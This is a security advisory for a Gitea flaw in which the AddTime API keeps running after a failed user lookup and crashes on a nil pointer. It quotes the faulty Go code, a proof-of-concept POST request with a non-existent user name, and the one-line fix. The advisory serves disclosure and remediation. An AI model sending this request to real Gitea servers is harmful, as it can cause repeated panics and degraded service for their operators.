---
id: CVE-2026-55984
aliases:
  - GHSA-m932-crvm-gcp5
title: >-
  Gitea: Null Pointer Dereference in AddTime API Causes Authenticated Denial of
  Service
summary: >-
  Gitea: Null Pointer Dereference in AddTime API Causes Authenticated Denial of
  Service
severity: low
cvss: 2.7
cwe:
  - CWE-476
vendor: gitea
product: code.gitea.io/gitea
ecosystem: go
affected:
  - code.gitea.io/gitea < 1.27.0
patched:
  - code.gitea.io/gitea 1.27.0
published: '2026-07-21'
updated: '2026-07-21'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-m932-crvm-gcp5'
references:
  - url: 'https://github.com/go-gitea/gitea/security/advisories/GHSA-m932-crvm-gcp5'
  - url: 'https://github.com/go-gitea/gitea/releases/tag/v1.27.0'
  - url: 'https://github.com/advisories/GHSA-m932-crvm-gcp5'
tags:
  - ghsa
  - go
ingestedAt: '2026-07-21T21:54:47.530Z'
epss: 0.00336
epssPercentile: 0.2699
---

## Overview

### Summary

The AddTime API handler continues execution after an error returned by `GetUserByName()`.

When a repository administrator specifies a non-existent user name, an error response is generated but execution does not stop. Subsequent code dereferences a nil user pointer, resulting in a runtime panic.

### Details

Affected endpoint:

```http
POST /api/v1/repos/{owner}/{repo}/issues/{index}/times
```

Affected file:

```text
routers/api/v1/repo/issue_tracked_time.go
```

Relevant code:

```go
user, err = user_model.GetUserByName(ctx, form.User)
if err != nil {
    ctx.APIErrorInternal(err)
    // missing return
}
```

Execution continues to:

```go
trackedTime, err := issues_model.AddTime(
    ctx,
    user,
    issue,
    form.Time,
    created,
)
```

When `GetUserByName()` fails, `user` is nil.

The subsequent call dereferences the nil pointer and triggers a runtime panic.

### Proof of Concept

Using a repository administrator account:

```http
POST /api/v1/repos/owner/repo/issues/1/times
Content-Type: application/json

{
  "time": 3600,
  "user_name": "nonexistent_user_xyz"
}
```

Result:

```text
HTTP 500
runtime error: invalid memory address or nil pointer dereference
```

The stack trace indicates execution reaches the AddTime code path with a nil user object.

### Impact

An authenticated repository administrator can repeatedly trigger server-side panics through the affected endpoint.

Depending on deployment configuration and panic recovery behavior, this may result in request failures, stack trace disclosure, excessive log generation, or degraded service availability.

### Suggested Fix

Add a return statement after the error response:

```go
user, err = user_model.GetUserByName(ctx, form.User)
if err != nil {
    ctx.APIErrorInternal(err)
    return
}
```

## Affected packages

- `code.gitea.io/gitea < 1.27.0`

## Remediation

Upgrade to a patched release:

- `code.gitea.io/gitea 1.27.0`